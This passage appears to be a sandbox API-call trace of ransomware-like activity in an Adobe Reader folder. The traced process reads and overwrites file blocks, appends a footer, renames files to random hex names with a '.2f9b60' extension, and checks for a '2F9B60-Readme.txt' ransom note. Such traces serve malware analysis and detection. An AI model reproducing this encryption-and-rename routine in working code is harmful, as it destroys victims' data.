RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202603e0 [0105.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260bf0 [0105.277] NtQuerySystemTime (in: CurrentTime=0x27b1fd00 | out: CurrentTime=0x27b1fd00*=132462177107674000) returned 0x0 [0105.277] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x14f485ba [0105.277] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x17a2f040 [0105.277] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x1de53bfa [0105.277] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x563500e8 [0105.277] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x9e70d38 [0105.277] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x591a8547 [0105.277] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x86cbef5 [0105.277] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x508ae0dc [0105.277] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x29a1b225 [0105.277] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x54c87f40 [0105.277] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x12d7c917 [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x28974b27 [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0xe17f0a8 [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x2cd3dc23 [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x31533c5 [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x3cf0569c [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x625d80a2 [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x4266a395 [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x1b47bfab [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x74133b5c [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x6d7991ad [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x29df5b83 [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x60bf7a22 [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x26f50a90 [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x30432001 [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x6f2bdce4 [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x4bccbf81 [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x34805602 [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x680f768 [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x4957a05a [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x4bf79841 [0105.278] RtlRandomEx (in: Seed=0x27b1fcf0 | out: Seed=0x27b1fcf0) returned 0x52e6f69d [0105.289] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.289] ReadFile (in: hFile=0x1770, lpBuffer=0x41f178d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x27b1fd60, lpOverlapped=0x0 | out: lpBuffer=0x41f178d0*, lpNumberOfBytesRead=0x27b1fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0105.351] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0105.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0105.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0105.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fee0) returned 1 [0105.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eb5950 [0105.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0105.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0105.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860720) returned 1 [0105.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0105.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0105.353] WriteFile (in: hFile=0x1770, lpBuffer=0x41eb5950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x27b1fd60, lpOverlapped=0x0 | out: lpBuffer=0x41eb5950*, lpNumberOfBytesWritten=0x27b1fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0105.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eb5950) returned 1 [0105.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f178d0) returned 1 [0105.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202a6c20 [0105.487] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0105.488] WriteFile (in: hFile=0x1770, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x27b1fe10, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x27b1fe10*=0x108, lpOverlapped=0x0) returned 1 [0105.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0105.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0105.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65f0 [0105.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a65f0) returned 1 [0105.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0105.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65f0 [0105.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a69e0 [0105.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a69e0) returned 1 [0105.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0105.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0105.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f6b0 [0105.558] sprintf (in: _Dest=0x1cd9f6b0, _Format="%c%c" | out: _Dest="11") returned 2 [0105.558] sprintf (in: _Dest=0x1cd9f6b2, _Format="%c%c" | out: _Dest="2c") returned 2 [0105.558] sprintf (in: _Dest=0x1cd9f6b4, _Format="%c%c" | out: _Dest="ba") returned 2 [0105.558] sprintf (in: _Dest=0x1cd9f6b6, _Format="%c%c" | out: _Dest="66") returned 2 [0105.558] sprintf (in: _Dest=0x1cd9f6b8, _Format="%c%c" | out: _Dest="58") returned 2 [0105.558] sprintf (in: _Dest=0x1cd9f6ba, _Format="%c%c" | out: _Dest="00") returned 2 [0105.558] sprintf (in: _Dest=0x1cd9f6bc, _Format="%c%c" | out: _Dest="83") returned 2 [0105.558] sprintf (in: _Dest=0x1cd9f6be, _Format="%c%c" | out: _Dest="41") returned 2 [0105.558] sprintf (in: _Dest=0x1cd9f6c0, _Format="%c%c" | out: _Dest="c6") returned 2 [0105.558] sprintf (in: _Dest=0x1cd9f6c2, _Format="%c%c" | out: _Dest="09") returned 2 [0105.558] sprintf (in: _Dest=0x1cd9f6c4, _Format="%c%c" | out: _Dest="65") returned 2 [0105.558] sprintf (in: _Dest=0x1cd9f6c6, _Format="%c%c" | out: _Dest="3b") returned 2 [0105.558] sprintf (in: _Dest=0x1cd9f6c8, _Format="%c%c" | out: _Dest="2e") returned 2 [0105.558] sprintf (in: _Dest=0x1cd9f6ca, _Format="%c%c" | out: _Dest="b8") returned 2 [0105.558] sprintf (in: _Dest=0x1cd9f6cc, _Format="%c%c" | out: _Dest="4c") returned 2 [0105.558] sprintf (in: _Dest=0x1cd9f6ce, _Format="%c%c" | out: _Dest="46") returned 2 [0105.559] sprintf (in: _Dest=0x1cd9f6d0, _Format="%c%c" | out: _Dest="2b") returned 2 [0105.559] sprintf (in: _Dest=0x1cd9f6d2, _Format="%c%c" | out: _Dest="91") returned 2 [0105.559] sprintf (in: _Dest=0x1cd9f6d4, _Format="%c%c" | out: _Dest="bd") returned 2 [0105.559] sprintf (in: _Dest=0x1cd9f6d6, _Format="%c%c" | out: _Dest="3c") returned 2 [0105.559] sprintf (in: _Dest=0x1cd9f6d8, _Format="%c%c" | out: _Dest="3e") returned 2 [0105.559] sprintf (in: _Dest=0x1cd9f6da, _Format="%c%c" | out: _Dest="2f") returned 2 [0105.559] RtlInitAnsiString (in: DestinationString=0x27b1fe88, SourceString="112cba6658008341c609653b2eb84c462b91bd3c3e2f" | out: DestinationString="112cba6658008341c609653b2eb84c462b91bd3c3e2f") [0105.559] RtlAnsiStringToUnicodeString (in: DestinationString=0x27b1fe58, SourceString="112cba6658008341c609653b2eb84c462b91bd3c3e2f", AllocateDestinationString=1 | out: DestinationString="112cba6658008341c609653b2eb84c462b91bd3c3e2f") returned 0x0 [0105.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced5b70 [0105.559] RtlFreeAnsiString (AnsiString="1") [0105.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f6b0) returned 1 [0105.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0105.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a65f0) returned 1 [0105.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169910) returned 1 [0105.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6830) returned 1 [0105.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a68f0) returned 1 [0105.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6c20) returned 1 [0105.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fee0) returned 1 [0105.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202603e0) returned 1 [0105.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b60) returned 1 [0105.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c70) returned 1 [0105.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85eb90 [0105.560] wcscat (in: _Dest=0x1b85eb90, _Source="112cba66580" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\112cba66580") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\112cba66580" [0105.560] wcscat (in: _Dest=0x1b85eb90, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\112cba66580.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\112cba66580.2f9b60" [0105.560] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\112cba66580.2f9b60", NtPathName=0x27b1fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\112cba66580.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x204fff50 [0105.560] NtSetInformationFile (FileHandle=0x1770, IoStatusBlock=0x27b1fed0, FileInformation=0x204fff50, Length=0x96, FileInformationClass=0xa) returned 0x0 [0105.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fff50) returned 1 [0105.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd460) returned 1 [0105.801] NtQueryInformationFile (in: FileHandle=0x1770, IoStatusBlock=0x27b1fe98, FileInformation=0x27b1fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27b1fe98, FileInformation=0x27b1fea8) returned 0x0 [0105.801] NtSetInformationFile (FileHandle=0x1770, IoStatusBlock=0x27b1fe98, FileInformation=0x27b1fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0105.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5b70) returned 1 [0105.808] FlushFileBuffers (hFile=0x1770) returned 1 [0105.819] CloseHandle (hObject=0x1770) returned 1 [0105.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85ec90 [0105.820] wcscpy (in: _Dest=0x1b85ec90, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0105.821] wcscat (in: _Dest=0x1b85ec90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0105.821] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0106.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0106.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 Thread: id = 873 os_tid = 0x144c [0101.055] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm")) returned 0x20 [0103.096] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm", dwFileAttributes=0x20) returned 1 [0103.312] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x174c [0103.312] GetFileSizeEx (in: hFile=0x174c, lpFileSize=0x2773f6c0 | out: lpFileSize=0x2773f6c0*=17033) returned 1 [0103.312] SetFilePointerEx (in: hFile=0x174c, liDistanceToMove=0x4285, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.312] ReadFile (in: hFile=0x174c, lpBuffer=0x2773f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2773f688, lpOverlapped=0x0 | out: lpBuffer=0x2773f640*, lpNumberOfBytesRead=0x2773f688*=0x4, lpOverlapped=0x0) returned 1 [0103.522] SetFilePointerEx (in: hFile=0x174c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0103.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0103.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0103.522] NtQuerySystemTime (in: CurrentTime=0x2773f580 | out: CurrentTime=0x2773f580*=132462177090358000) returned 0x0 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x6f9dc3ed [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x6f50341d [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x515ea110 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x147e8ee2 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x23711bb3 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x4e12477 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x5ee14501 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x19116142 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x5397f7d0 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x54254a44 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x7e9f966c [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x760c6a43 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x4424bdd2 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x18c76c1a [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0xf802550 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x672a3d43 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x7f679c83 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x874f00e [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x411ca7fd [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x332086fd [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x369e28f1 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x641bc131 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x41f94ec8 [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x21fa2eab [0103.523] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x5f00d65f [0103.524] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x29edc46c [0103.524] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x4c55a80f [0103.524] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x13eb524 [0103.524] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x377a46f5 [0103.524] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x4990ce97 [0103.524] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x332b221c [0103.524] RtlRandomEx (in: Seed=0x2773f570 | out: Seed=0x2773f570) returned 0x52151c7e [0103.533] SetFilePointerEx (in: hFile=0x174c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.533] ReadFile (in: hFile=0x174c, lpBuffer=0x41f13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2773f5e0, lpOverlapped=0x0 | out: lpBuffer=0x41f13cc0*, lpNumberOfBytesRead=0x2773f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.601] SetFilePointerEx (in: hFile=0x174c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0103.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503990 [0103.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0103.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9d0) returned 1 [0103.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f4c1b0 [0103.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0103.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0103.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f970) returned 1 [0103.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503990) returned 1 [0103.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0103.602] WriteFile (in: hFile=0x174c, lpBuffer=0x41f4c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2773f5e0, lpOverlapped=0x0 | out: lpBuffer=0x41f4c1b0*, lpNumberOfBytesWritten=0x2773f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f4c1b0) returned 1 [0104.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f13cc0) returned 1 [0104.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20262000 [0104.057] SetFilePointerEx (in: hFile=0x174c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.057] WriteFile (in: hFile=0x174c, lpBuffer=0x1696f0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2773f690, lpOverlapped=0x0 | out: lpBuffer=0x1696f0*, lpNumberOfBytesWritten=0x2773f690*=0x108, lpOverlapped=0x0) returned 1 [0104.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0104.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866bc0 [0104.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b770 [0104.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b770) returned 1 [0104.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0104.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b770 [0104.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b590 [0104.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b590) returned 1 [0104.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0104.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0104.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9e930 [0104.176] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="94") returned 2 [0104.176] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="43") returned 2 [0104.176] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="b0") returned 2 [0104.176] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="27") returned 2 [0104.176] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="cf") returned 2 [0104.176] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="be") returned 2 [0104.177] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="df") returned 2 [0104.177] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="3d") returned 2 [0104.177] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="d6") returned 2 [0104.177] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="3c") returned 2 [0104.177] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="24") returned 2 [0104.177] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="e8") returned 2 [0104.177] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="f7") returned 2 [0104.177] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="dd") returned 2 [0104.177] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="4f") returned 2 [0104.177] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="c3") returned 2 [0104.177] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="00") returned 2 [0104.177] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="de") returned 2 [0104.177] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="74") returned 2 [0104.177] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="f0") returned 2 [0104.177] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="3f") returned 2 [0104.177] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="d9") returned 2 [0104.177] RtlInitAnsiString (in: DestinationString=0x2773f708, SourceString="9443b027cfbedf3dd63c24e8f7dd4fc300de74f03fd9" | out: DestinationString="9443b027cfbedf3dd63c24e8f7dd4fc300de74f03fd9") [0104.177] RtlAnsiStringToUnicodeString (in: DestinationString=0x2773f6d8, SourceString="9443b027cfbedf3dd63c24e8f7dd4fc300de74f03fd9", AllocateDestinationString=1 | out: DestinationString="9443b027cfbedf3dd63c24e8f7dd4fc300de74f03fd9") returned 0x0 [0104.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced5d30 [0104.178] wcscat (in: _Dest=0x1b866bc0, _Source="9443b027cfb" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\9443b027cfb") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\9443b027cfb" [0104.178] wcscat (in: _Dest=0x1b866bc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\9443b027cfb.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\9443b027cfb.2f9b60" [0104.178] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\9443b027cfb.2f9b60", NtPathName=0x2773f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\9443b027cfb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205dcd0 [0105.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dcd0) returned 1 [0105.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd996b0) returned 1 [0105.646] NtQueryInformationFile (in: FileHandle=0x174c, IoStatusBlock=0x2773f718, FileInformation=0x2773f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2773f718, FileInformation=0x2773f728) returned 0x0 [0105.647] 